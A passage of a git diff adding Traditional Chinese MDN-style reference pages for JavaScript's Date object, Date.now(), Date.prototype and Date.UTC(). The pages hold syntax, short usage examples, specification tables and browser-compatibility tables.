+ <dt><code>millisecond</code></dt>
+ <dd>選用。表示毫秒數的整數值。</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<ul>
+ <li>如果沒有傳入任務參數到建構子，會依系統設定建立出代表當下時間的 Date 物件。</li>
+ <li>如果傳入至少兩個參數，缺少日期的話會設為 1，其它參數則會被設定為 0。</li>
+ <li>JavaScript 的 date 基於世界標準時間（UTC）1970 年 1 月 1 日午夜的毫秒數。一天有 86,400,000 毫秒。JavaScript <code>Date</code> 物件可表示的範圍由世界標準時間（UTC） 1970 年 1 月 1 日為基準的 -100,000,000 天到 100,000,000 天。</li>
+ <li>JavaScript <code>Date</code> 物件提供跨平台一致的行為。這個時間數值可以在系統之間傳遞表示相同的時間，如果建立本地的時間物件，其表現將會與本地習慣相對應。</li>
+ <li>JavaScript <code>Date</code> 物件提供了若干 UTC (通用的) 以及本地時間方法。UTC，也被稱為格林威治標準時間（GMT）被指定作為世界時間的標準。本地時間指的是被設定在執行 JavaScript 電腦上的時間。</li>
+ <li>以函數方式呼叫 <code>Date</code> （也就是省略 {{jsxref("Operators/new", "new")}} 建構子）將會回傳一個表示當下時間日期的字串。</li>
+</ul>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{jsxref("Date.prototype")}}</dt>
+ <dd>允許填加屬於到 JavaScript <code>Date</code> 物件。</dd>
+ <dt><code>Date.length</code></dt>
+ <dd><code>Date.length</code> 的值為 7。這是建構子能夠處理的參數數量。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{jsxref("Date.now()")}}</dt>
+ <dd>回傳對應於當下時間的數值 - 1970/01/01 00:00:00 (UTC) 到當下的毫秒數。</dd>
+ <dt>{{jsxref("Date.parse()")}}</dt>
+ <dd>解析字串所表示的時間，回傳由 1970/01/01 00:00:00 (UTC) 到該時間的毫秒數值。
+ <div class="note">
+ <p><strong>附註：</strong>由於瀏覽器之間的不同與差異，強烈不建議使用 <code>Date.parse</code> 。</p>
+ </div>
+ </dd>
+ <dt>{{jsxref("Date.UTC()")}}</dt>
+ <dd>需要傳入與建構子相同的參數數目（即 2 到 7 個），會得到由 1970-01-01 00:00:00 UTC 到該日期時間的毫秒數。（輸入的參數會視為世界標準時間，而非本地時間）</dd>
+</dl>
+
+<h2 id="JavaScript_Date_物件實體">JavaScript <code>Date</code> 物件實體</h2>
+
+<p>所有 <code>Date</code> 物件實體繼承自 {{jsxref("Date.prototype")}} 。這個 Date 建構子的 prototype 物件可以被修改以影響所有 Date 物件實體。</p>
+
+<h3 id="Date.prototype_方法">Date.prototype 方法</h3>
+
+<div>{{page('/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Date/prototype', '方法')}}</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="幾種建立_Date_物件的方式">幾種建立 Date 物件的方式</h3>
+
+<p>接下來的幾個範例，展示幾種建立 Date 物件的方式：</p>
+
+<div class="note">
+<p><strong>附註：</strong> 由於瀏覽器之間的不同與差異，強烈不建議使用解析字串的方式建立 Date 物件。</p>
+</div>
+
+<pre class="brush: js">var today = new Date();
+var birthday = new Date('December 17, 1995 03:24:00');
+var birthday = new Date('1995-12-17T03:24:00');
+var birthday = new Date(1995, 11, 17);
+var birthday = new Date(1995, 11, 17, 3, 24, 0);
+</pre>
+
+<h3 id="兩位數的年份對應到_1900_-_1999">兩位數的年份對應到 1900 - 1999</h3>
+
+<p>為了建立及取得西元 0 到 99 的日期，應該使用 {{jsxref("Date.prototype.setFullYear()")}} 以及 {{jsxref("Date.prototype.getFullYear()")}} 方法。</p>
+
+<pre class="brush: js">var date = new Date(98, 1); // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
+
+// 過時的方法，98 在這裡對應到 1998 年
+date.setYear(98);           // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
+
+date.setFullYear(98);       // Sat Feb 01 0098 00:00:00 GMT+0000 (BST)
+</pre>
+
+<h3 id="計算執行時間">計算執行時間</h3>
+
+<p>下面的例子展示如何使用兩個 Date 物件來求得執行程式所花費毫秒數。</p>
+
+<p>由於日（在夏令時轉換時）、月及年的長度並非固定，如果表示經過時間採用時、分、秒以外的單位，需要對這些差異作深入的研究，以處理可能發生的問題。</p>
+
+<pre class="brush: js">// 使用 Date 物件
+var start = Date.now();
+
+// 要計算執行時間的程式放在這裡
+doSomethingForALongTime();
+var end = Date.now();
+var elapsed = end - start; // 執行程式經過的毫秒數
+</pre>
+
+<pre class="brush: js">// 使用內建方法
+var start = new Date();
+
+// 要計算執行時間的程式放在這裡
+doSomethingForALongTime();
+var end = new Date();
+var elapsed = end.getTime() - start.getTime(); // 執行程式經過的毫秒數
+</pre>
+
+<pre class="brush: js">// 測試一個函數執行時間，並返回其回傳值
+function printElapsedTime(fTest) {
+  var nStartTime = Date.now(),
+      vReturn = fTest(),
+      nEndTime = Date.now();
+
+  console.log('Elapsed time: ' + String(nEndTime - nStartTime) + ' milliseconds');
+  return vReturn;
+}
+
+yourFunctionReturn = printElapsedTime(yourFunction);
+</pre>
+
+<div class="note">
+<p><strong>附註：</strong>在瀏覽器支援 {{domxref("window.performance", "Web Performance API", "", 1)}} 高精度特性下， {{domxref("Performance.now()")}} 可以提供比 {{jsxref("Date.now()")}} 更可靠、精確的執行時間測試結果。</p>
+</div>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date-objects', 'Date')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date-objects', 'Date')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9', 'Date')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>初步定義。實作在 JavaScript 1.1。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>平台</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>
+    <p>基本支援</p>
+   </td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [2]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>平台</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>
+    <p>基本支援</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] 一些瀏覽器在解析日期時間會發生問題： <a href="http://dygraphs.com/date-formats.html">3/14/2012 blog from danvk Comparing FF/IE/Chrome on Parsing Date Strings</a></p>
+
+<p>[2] <a href="https://msdn.microsoft.com/en-us//library/ie/ff743760(v=vs.94).aspx">ISO8601 Date Format is not supported</a> in Internet Explorer 8, and other version can have <a href="http://dygraphs.com/date-formats.html">issues when parsing dates</a></p>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/date/now/index.html b/files/zh-tw/web/javascript/reference/global_objects/date/now/index.html
new file mode 100644
index 0000000000..00b4842f0f
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/date/now/index.html
@@ -0,0 +1,123 @@
+---
+title: Date.now()
+slug: Web/JavaScript/Reference/Global_Objects/Date/now
+tags:
+  - Date
+  - JavaScript
+  - 參考
+  - 方法
+  - 方法補完
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/now
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Date.now()</code></strong> 方法回傳自 1970/01/01 00:00:00 UTC 起經過的毫秒數。</p>
+
+<h2 id="格式">格式</h2>
+
+<pre class="syntaxbox"><code>var timeInMs = Date.now();</code></pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個代表由經 UNIX 紀元起經過的毫秒數值（{{jsxref("Number")}}）。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>由於 <code>now()</code> 是 {{jsxref("Date")}} 的靜態方法，你只能用 <code>Date.now()</code> 的方式呼叫它。</p>
+
+<h2 id="補完">補完</h2>
+
+<p>這個函數是 ECMA-262 第 5 版的標準。 對於未更新支援此方法的引擎，可以利用底下的程式補上：</p>
+
+<pre class="brush: js">if (!Date.now) {
+  Date.now = function now() {
+    return new Date().getTime();
+  };
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.4.4', 'Date.now')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>初始定義，實作在 JavaScript 1.5 。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.now', 'Date.now')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.now', 'Date.now')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>平台</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatChrome("5")}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("10.50")}}</td>
+   <td>{{CompatSafari("4")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>平台</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="相關資源">相關資源</h2>
+
+<ul>
+ <li>{{domxref("Performance.now()")}} — 提供亞毫秒級的時間戳記，作為評估網頁效能的解決方案。</li>
+ <li>{{domxref("console.time()")}} / {{domxref("console.timeEnd()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/date/prototype/index.html b/files/zh-tw/web/javascript/reference/global_objects/date/prototype/index.html
new file mode 100644
index 0000000000..edd6a3fb47
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/date/prototype/index.html
@@ -0,0 +1,245 @@
+---
+title: Date.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Date/prototype
+tags:
+  - Date
+  - JavaScript
+  - 原型
+  - 參考資料
+  - 屬性
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Date.prototype</code></strong> 屬性表示 {{jsxref("Date")}} 建構子的原型。</p>
+
+<div>{{js_property_attributes(0, 0, 1)}}</div>
+
+<h2 id="描述">描述</h2>
+
+<p>JavaScript {{jsxref("Date")}} 實體繼承自 <code>Date.prototype。你可以藉由改變建構子的原型物件，來影響所有繼承自</code> JavaScript {{jsxref("Date")}} 的實體。</p>
+
+<p>為了千年年份（換個說法，考慮現在已到了 2000 年）的相容性，設定上你應該採用完整的年份。舉例來說，使用 1998 而不是 98 。為了讓你能取得完整的年份資料， Javascript 包含了 {{jsxref("Date.prototype.getFullYear()", "getFullYear()")}} ， {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}} ， {{jsxref("Date.prototype.getUTCFullYear()", "getUTCFullYear()")}} 以及 {{jsxref("Date.prototype.setUTCFullYear()", "setUTCFullYear()")}} 方法。</p>
+
+<p>自 ECMAScript 6 開始， <code>Date.prototype</code> 物件只是個一般物件，而不是一個 {{jsxref("Date")}} 實體。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt><code>Date.prototype.constructor</code></dt>
+ <dd>回傳一個能建立實體的函數，這是 {{jsxref("Date")}} 預設的建構子。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<h3 id="Getter">Getter</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.getDate()")}}</dt>
+ <dd>回傳本地時間月份中的日期（1-31）。</dd>
+ <dt>{{jsxref("Date.prototype.getDay()")}}</dt>
+ <dd>回傳本地時間星期中的日子（0-6）。</dd>
+ <dt>{{jsxref("Date.prototype.getFullYear()")}}</dt>
+ <dd>回傳本地時間的年份（ 以 4 位數表現）。</dd>
+ <dt>{{jsxref("Date.prototype.getHours()")}}</dt>
+ <dd>回傳本地時間的小時（0-23）。</dd>
+ <dt>{{jsxref("Date.prototype.getMilliseconds()")}}</dt>
+ <dd>回傳本地時間的毫秒數（0-999）。</dd>
+ <dt>{{jsxref("Date.prototype.getMinutes()")}}</dt>
+ <dd>回傳本地時間的分鐘數（0-59）。</dd>
+ <dt>{{jsxref("Date.prototype.getMonth()")}}</dt>
+ <dd>回傳本地時間的月份（0-11）。</dd>
+ <dt>{{jsxref("Date.prototype.getSeconds()")}}</dt>
+ <dd>回傳本地時間的秒數（0-59)。</dd>
+ <dt>{{jsxref("Date.prototype.getTime()")}}</dt>
+ <dd>回傳由 1970-01-01 00:00:00 UTC 開始，到代表時間經過的毫秒數（以負值表示 1970 年之前的時間）。</dd>
+ <dt>{{jsxref("Date.prototype.getTimezoneOffset()")}}</dt>
+ <dd>回傳本地時差為多少分鐘。</dd>
+ <dt>{{jsxref("Date.prototype.getUTCDate()")}}</dt>
+ <dd>回傳標準時間的在月份中的日期（1-31）。</dd>
+ <dt>{{jsxref("Date.prototype.getUTCDay()")}}</dt>
+ <dd>回傳標準時間在星期中的日子（0-6）。</dd>
+ <dt>{{jsxref("Date.prototype.getUTCFullYear()")}}</dt>
+ <dd>回傳標準時間的年份（ 以 4 位數表現）。</dd>
+ <dt>{{jsxref("Date.prototype.getUTCHours()")}}</dt>
+ <dd>回傳標準時間的小時數（0-23）。</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</dt>
+ <dd>回傳標準時間裡的毫秒數（0-999）。</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMinutes()")}}</dt>
+ <dd>回傳標準時間的分鐘數（0-59）。</dd>
+ <dt>{{jsxref("Date.prototype.getUTCMonth()")}}</dt>
+ <dd>回傳標準時間的月份數（0-11）。</dd>
+ <dt>{{jsxref("Date.prototype.getUTCSeconds()")}}</dt>
+ <dd>回傳標準時間的秒數（0-59）。</dd>
+ <dt>{{jsxref("Date.prototype.getYear()")}} {{deprecated_inline}}</dt>
+ <dd>回本地時間的年份（通常 2-3 位數）。用 {{jsxref("Date.prototype.getFullYear()", "getFullYear()")}} 取代。</dd>
+</dl>
+
+<h3 id="Setter">Setter</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.setDate()")}}</dt>
+ <dd>設定本地時間月份中的日期。</dd>
+ <dt>{{jsxref("Date.prototype.setFullYear()")}}</dt>
+ <dd>設定本地時間的完整年份（以 4 位數表達 4 位數年份）。</dd>
+ <dt>{{jsxref("Date.prototype.setHours()")}}</dt>
+ <dd>設定本地時間的小時數。</dd>
+ <dt>{{jsxref("Date.prototype.setMilliseconds()")}}</dt>
+ <dd>設定本地時間的毫秒數。</dd>
+ <dt>{{jsxref("Date.prototype.setMinutes()")}}</dt>
+ <dd>設定本地時間的分鐘數。</dd>
+ <dt>{{jsxref("Date.prototype.setMonth()")}}</dt>
+ <dd>設定本地時間的月份。</dd>
+ <dt>{{jsxref("Date.prototype.setSeconds()")}}</dt>
+ <dd>設定本地時間的秒數。</dd>
+ <dt>{{jsxref("Date.prototype.setTime()")}}</dt>
+ <dd>設定這個 {{jsxref("Date")}} 物件距 1970-01-01 00:00:00 UTC 的毫秒數，允許使用負值表示之前的時間。</dd>
+ <dt>{{jsxref("Date.prototype.setUTCDate()")}}</dt>
+ <dd>設定標準時間月份中的日期。</dd>
+ <dt>{{jsxref("Date.prototype.setUTCFullYear()")}}</dt>
+ <dd>設定標準時間的完整年份（以 4 位數表示 4 位數年分）。</dd>
+ <dt>{{jsxref("Date.prototype.setUTCHours()")}}</dt>
+ <dd>設定標準時間的小時數。</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</dt>
+ <dd>設定標準時間的毫秒數。</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMinutes()")}}</dt>
+ <dd>設定標準時間的分鐘數。</dd>
+ <dt>{{jsxref("Date.prototype.setUTCMonth()")}}</dt>
+ <dd>設定標準時間的月份數。</dd>
+ <dt>{{jsxref("Date.prototype.setUTCSeconds()")}}</dt>
+ <dd>設定標準時間的秒數。</dd>
+ <dt>{{jsxref("Date.prototype.setYear()")}} {{deprecated_inline}}</dt>
+ <dd>設定本地時間的年份（使用 2-3 位數）。使用 {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}} 取代。</dd>
+</dl>
+
+<h3 id="Conversion_getter">Conversion getter</h3>
+
+<dl>
+ <dt>{{jsxref("Date.prototype.toDateString()")}}</dt>
+ <dd>以可閱讀的字串型式，回傳 {{jsxref("Date")}} 的部分資訊。</dd>
+ <dt>{{jsxref("Date.prototype.toISOString()")}}</dt>
+ <dd>將日期時間轉換成 ISO 8601 格式的字串回傳。</dd>
+ <dt>{{jsxref("Date.prototype.toJSON()")}}</dt>
+ <dd>回傳等義於 {{jsxref("Date")}} 物件使用 {{jsxref("Date.prototype.toISOString()", "toISOString()")}} 方法的結果。特別使用 {{jsxref("JSON.stringify()")}} 處理。</dd>
+ <dt>{{jsxref("Date.prototype.toGMTString()")}} {{deprecated_inline}}</dt>
+ <dd>回傳 {{jsxref("Date")}} 以 GMT (UT) 時區基準代表的時間字串。使用 {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}} 方法來取代。</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleDateString()")}}</dt>
+ <dd>依照系統的時間地區設定，回傳日期字串。</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleFormat()")}} {{non-standard_inline}}</dt>
+ <dd>傳入格式化字串參數，將日期時間轉換成指定格式的字串。</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleString()")}}</dt>
+ <dd>回傳依系統的地區設定導出的日期時間字串。覆寫自 {{jsxref("Object.prototype.toLocaleString()")}} 方法。</dd>
+ <dt>{{jsxref("Date.prototype.toLocaleTimeString()")}}</dt>
+ <dd>回傳依系統的地區設定導出的時間字串。</dd>
+ <dt>{{jsxref("Date.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>回傳一個建立相同 {{jsxref("Date")}} 物件的程式碼字串；你可以拿這個結果來建立新物件。覆寫自 {{jsxref("Object.prototype.toSource()")}} 方法。</dd>
+ <dt>{{jsxref("Date.prototype.toString()")}}</dt>
+ <dd>回傳代表此 {{jsxref("Date")}} 物件的字串。覆寫自 {{jsxref("Object.prototype.toString()")}} 方法。</dd>
+ <dt>{{jsxref("Date.prototype.toTimeString()")}}</dt>
+ <dd>以人類可讀的格式，回傳時間部分的字串。</dd>
+ <dt>{{jsxref("Date.prototype.toUTCString()")}}</dt>
+ <dd>依 UTC 時區，轉換出時間日期字串。</dd>
+ <dt>{{jsxref("Date.prototype.valueOf()")}}</dt>
+ <dd>回傳 {{jsxref("Date")}} 物件的原始數值。覆寫自 {{jsxref("Object.prototype.valueOf()")}} 方法。</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>初步定義。實作在 JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5', 'Date.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-the-date-prototype-object', 'Date.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>平台</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>一般物件</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>平台</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>一般物件</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("41")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/date/utc/index.html b/files/zh-tw/web/javascript/reference/global_objects/date/utc/index.html
new file mode 100644
index 0000000000..60f1c555f0
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/date/utc/index.html
@@ -0,0 +1,157 @@
+---
+title: Date.UTC()
+slug: Web/JavaScript/Reference/Global_Objects/Date/UTC
+tags:
+  - Date
+  - JavaScript
+  - 參考
+  - 方法
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/UTC
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Date.UTC()</code></strong> 方法接受與建構子相同長度的參數，將參數視為通用時間（UTC）來計算回傳由 1970-01-01 00:00:00 UTC 所經過的毫秒數。</p>
+
+<h2 id="格式">格式</h2>
+
+<pre class="syntaxbox"><code>Date.UTC(<var>year</var>, <var>month</var>[, <var>day</var>[, <var>hour</var>[, <var>minute</var>[, <var>second</var>[, <var>millisecond</var>]]]]])</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>year</code></dt>
+ <dd>1900 年後的年份。</dd>
+ <dt><code>month</code></dt>
+ <dd>月份，介於 0 到 11 之間。</dd>
+ <dt><code>day</code></dt>
+ <dd>選用。月份中的日期，介於  1 到 31 之間。</dd>
+ <dt><code>hour</code></dt>
+ <dd>選用。小時，介於 0 到 23 之間。</dd>
+ <dt><code>minute</code></dt>
+ <dd>選用。分鐘數，介於 0 到 59 之間。</dd>
+ <dt><code>second</code></dt>
+ <dd>選用。秒數，介於 0 到 59 之間。</dd>
+ <dt><code>millisecond</code></dt>
+ <dd>選用。毫秒數 0 到 999 之間。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>得到傳入這個 {{jsxref("Date")}} 方法的參數所代表時間，與 1970-01-01 00:00:00 UTC 相差的毫秒數。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>UTC()</code> 取得以逗號分隔的時間參數，回傳 1970-01-01 00:00:00 UTC 與該時間相差的毫秒數。</p>
+
+<p>你應該指定完成的年份資料，例如： 1998。如果一個 0 到 99 的年份被指定，這個方法會將它轉換為 20 世紀的年份（變為 19xx 年），例如你傳入 95 ，則會被當作 1995 年被指定。</p>
+
+<p>這個 <code>UTC()</code> 方法與 {{jsxref("Date")}} 建構子有兩個地方不同。</p>
+
+<ul>
+ <li><code>Date.UTC()</code> 使用 UTC 時區而不是當地時區。</li>
+ <li><code>Date.UTC()</code> 回傳一個數值而不是 {{jsxref("Date")}} 物件。</li>
+</ul>
+
+<p>當你指定參數超出預期的範圍， UTC( ) 方法會去調整其它的參數使之成立。比如如果你指定月份為 15 ，年份將被加 1 ，以 3 作為傳入的月份。</p>
+
+<p>因為 UTC( ) 是 {{jsxref("Date")}} 的一個靜態方法，只能使用 <code>Date.UTC() 的方式呼叫，而不能由建立出來的 </code>{{jsxref("Date")}} 物件去執行它。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_Date.UTC()">使用 <code>Date.UTC()</code></h3>
+
+<p>以下利用它來將指定的時間以 UTC 而非本地時間的方式來建立  {{jsxref("Date")}} 物件：</p>
+
+<pre class="brush:js">var utcDate = new Date(Date.UTC(96, 11, 1, 0, 0, 0));
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.utc', 'Date.UTC')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.utc', 'Date.UTC')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.4.3', 'Date.UTC')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>初始定義。<br>
+    實作在 JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>平台</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>平台</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="相關資源">相關資源</h2>
+
+<ul>
+ <li>{{jsxref("Date.parse()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/error/columnnumber/index.html b/files/zh-tw/web/javascript/reference/global_objects/error/columnnumber/index.html
